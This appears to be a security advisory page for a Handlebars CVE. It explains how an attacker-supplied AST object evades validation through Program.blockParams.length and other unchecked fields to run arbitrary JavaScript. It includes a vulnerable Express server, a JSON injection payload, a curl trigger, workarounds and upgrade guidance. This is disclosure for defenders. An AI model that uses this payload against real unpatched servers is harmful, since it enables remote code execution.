CVE-2026-106446: Handlebars: JavaScript Injection via AST Type Confusion in compile (Program.blockParams)

Published Oct 6, 2026
·
Updated

Summary

Handlebars.compile() and Handlebars.precompile() accept a pre-parsed AST as well as a template string. Handlebars 4.7.9 added validation for such ASTs. It only checks values on PathExpression, NumberLiteral and BooleanLiteral nodes, and the compiler still writes several other AST values into the generated JavaScript unchecked.

If an application passes an untrusted object to compile() or precompile(), such as a parsed JSON request body, that object can carry arbitrary JavaScript. With compile(), the code runs on the server when the template renders. With precompile(), it ends up in the precompiled output and runs wherever that output is loaded.

Applications that only ever pass template strings are not affected.

This bypasses the AST validation added in 4.7.9 for GHSA-2w6w-674q-4c4q, GHSA-xhpv-hc6g-r9c6 and GHSA-3mfm-83xf-c92r.

Details

The 4.7.9 validator runs in parseWithoutProcessing() and walks the whole AST. It only checks values on nodes whose type is PathExpression, NumberLiteral or BooleanLiteral. It passes over plain objects without a type, and over strings and other non-object values. The compiler reads these values from other places and writes them into the generated code as-is:

| AST value | Written into generated code as | Compile options needed | | --- | --- | --- | | Program.blockParams.length | container.program(<index>, data, <length>) | none (default options) | | depth on a param that is not a PathExpression, e.g. a StringLiteral | depths[<depth>] | stringParams: true | | A StringLiteral.value that is not a string | raw JavaScript literal | stringParams: true | | A PathExpression.original that is not a string | raw JavaScript literal | stringParams: true |

The first row works with default options. A Program with blockParams: { "length": "<JS expression>" } passes validation because:

1. the blockParams object has no type, so none of the type-specific checks apply, and 2. the walker skips the string under length because it is not an object.

The compiler then reads program.blockParams.length and writes the string directly into the template function. The container.program(...) call is part of the helper options object, which is built before the helper is looked up. The code therefore runs on render even if the block's helper does not exist.

Proof of Concept

1. Start a server that compiles request input:

js import express from "express"; import Handlebars from "handlebars";

const app = express(); app.use(express.json());

app.post("/api/render", (req, res) => { const template = Handlebars.compile(req.body.text); // text may be an object, not a string res.send(template()); });

app.listen(2123);

2. Save this request body as poc.json. missingHelper does not need to exist:

json { "text": { "type": "Program", "loc": { "start": { "line": 1, "column": 0 } }, "body": [ { "type": "BlockStatement", "path": { "type": "PathExpression", "data": false, "depth": 0, "parts": ["missingHelper"], "original": "missingHelper", "loc": { "start": { "line": 1, "column": 0 } } }, "params": [], "program": { "type": "Program", "blockParams": { "length": "(()=>{throw new Error('Injected code ran as uid ' + process.getuid())})()" }, "body": [], "loc": { "start": { "line": 1, "column": 0 } } }, "openStrip": { "open": false, "close": false }, "inverseStrip": { "open": false, "close": false }, "closeStrip": { "open": false, "close": false }, "loc": { "start": { "line": 1, "column": 0 } } } ] } }

3. Send the request:

sh curl -s -X POST 'http://127.0.0.1:2123/api/render' \ -H 'Content-Type: application/json' --data-binary @poc.json

The server responds with HTTP 500 and an error page showing the injected code ran inside the Node.js process:

Error: Injected code ran as uid 1000

Impact

An application is affected if untrusted input can reach Handlebars.compile() or Handlebars.precompile() as an object instead of a string. A common way this happens is passing a field from a JSON request body straight to compile().

- compile(): arbitrary JavaScript runs in the Node.js process with the application's privileges (remote code execution). - precompile(): the injected code is written into the precompiled template and runs wherever that template is loaded, for example in users' browsers.

Workarounds

- Validate input type before calling Handlebars.compile(): ensure the argument is always a string, never a plain object or JSON-deserialized value. javascript if (typeof templateInput !== 'string') { throw new TypeError('Template must be a string'); } - Use the Handlebars runtime-only build (handlebars/runtime) on the server if templates are pre-compiled at build time; compile() will be unavailable.

Credits

Variant Program.blockParams - Nick Mykhailyshyn - @whoareme - jmoritzc53 - bhaswanthc - dinhvaren - n0tra4e - PellaML - kustundag - kagebunsher - sanmatte

Variant BooleanLiteral|NumberLiteral.value

- sondt99 Thai Son Dinh from VinSOC Labs (R&D) - Ahmed-Elmahgob - nikolakojic-rasit - vk-can - shenhuanageshei - kustundag - kagebunsher - ffasterss

Variant PathExpression.depth

- hibrian827 Team Atlanta - oss-security-shopify

Other sources

Handlebars provides the power necessary to let users build semantic templates. From 4.0.0 until 4.7.10, Handlebars.compile() and Handlebars.precompile() accept pre-parsed AST objects while validating only selected PathExpression, NumberLiteral, and BooleanLiteral values. This issue bypasses the AST validation introduced in version 4.7.9 for CVE-2026-33937. An attacker who can supply an object instead of a template string can place JavaScript expressions in unchecked values such as Program.blockParams.length, a non-PathExpression parameter depth, a non-string StringLiteral.value, or a non-string PathExpression.original. The compiler emits those values into generated JavaScript, causing code execution in the server process when compile output renders or wherever precompile output is loaded. Applications that pass only template strings are not affected. This issue is fixed in version 4.7.10.

— MITRE

Affected Software

11 affected componentsFixes available
npm/handlebars>=4.0.0<4.7.10
npm/handlebars>=4.0.0<=4.7.9
4.7.10
ubuntu/ruby-handlebars-assets*
ubuntu/node-handlebars*
ubuntu/node-handlebars*
ubuntu/node-handlebars*
ubuntu/node-handlebars*
ubuntu/node-handlebars*
ubuntu/node-handlebars*
IBM App Connect Operator<=CD: 12.1.0 - 12.21.0 12.0 LTS: 12.0.0 - 12.0.28 13 LTS: 13.0.0 - 13.6.0
IBM App Connect EnterpriseCertified Containers Operands<=CD: 12.0.11.1-r1 - 12.0.12.5-r1, 13.0.1.0-r1 - 13.0.6.2-r1 12.0 LTS: 12.0.12-r1 - 12.0.12-r28 13 LTS: 13.0.7.0-r1 - 13.0.9.0-r1

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/handlebars to a version that resolves this vulnerability.

    Fixed in 4.7.10
  2. Upgrade

    Upgrade Handlebars to a version that resolves this vulnerability.

    Fixed in 4.7.10
  3. Configuration

    Use the Handlebars runtime-only build (handlebars/runtime) on the server when templates are pre-compiled at build time, so compile() is unavailable.

    Handlebars server build = runtime-only
  4. Compensating control

    Validate the input type before calling Handlebars.compile(); require the argument to be a string and reject plain objects or JSON-deserialized values.

Event History

Oct 6, 2026
CVE Published
via MITRE·07:41 PM
Data Sourced
via MITRE·07:41 PM
DescriptionSeverityWeakness
Data Sourced
via Red Hat·07:55 PM
DescriptionSeverityAffected Software
Data Sourced
via NVD·08:17 PM
DescriptionSeverityWeakness
Oct 8, 2026
Advisory Published
via GitHub·05:52 PM
Data Sourced
via GitHub·05:52 PM
DescriptionSeverityWeaknessAffected Software
Nov 9, 2026
Data Sourced
via IBM·12:00 AM
DescriptionAffected Software
Nov 11, 2026
Data Sourced
via OSV·09:39 AM
Affected Software

Parent advisories

This vulnerability appears in the following advisories.

Frequently Asked Questions

1

Which applications are actually exposed to this issue?

Applications are affected only if they pass attacker-controlled pre-parsed AST objects to Handlebars.compile() or Handlebars.precompile(). Applications that pass only template strings are not affected.

2

What does an attacker need to achieve code execution?

The attacker must be able to supply an object in place of a template string. They can use unchecked AST fields, including Program.blockParams.length, a non-PathExpression parameter depth, a non-string StringLiteral.value, or a non-string PathExpression.original, to cause JavaScript to be emitted.

3

When does the injected code execute?

Code execution occurs in the server process when generated output from compile() renders. For precompile(), execution occurs wherever the generated output is loaded.

4

What version fixes the issue?

Upgrade Handlebars to version 4.7.10. The affected range is from 4.0.0 until 4.7.10.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203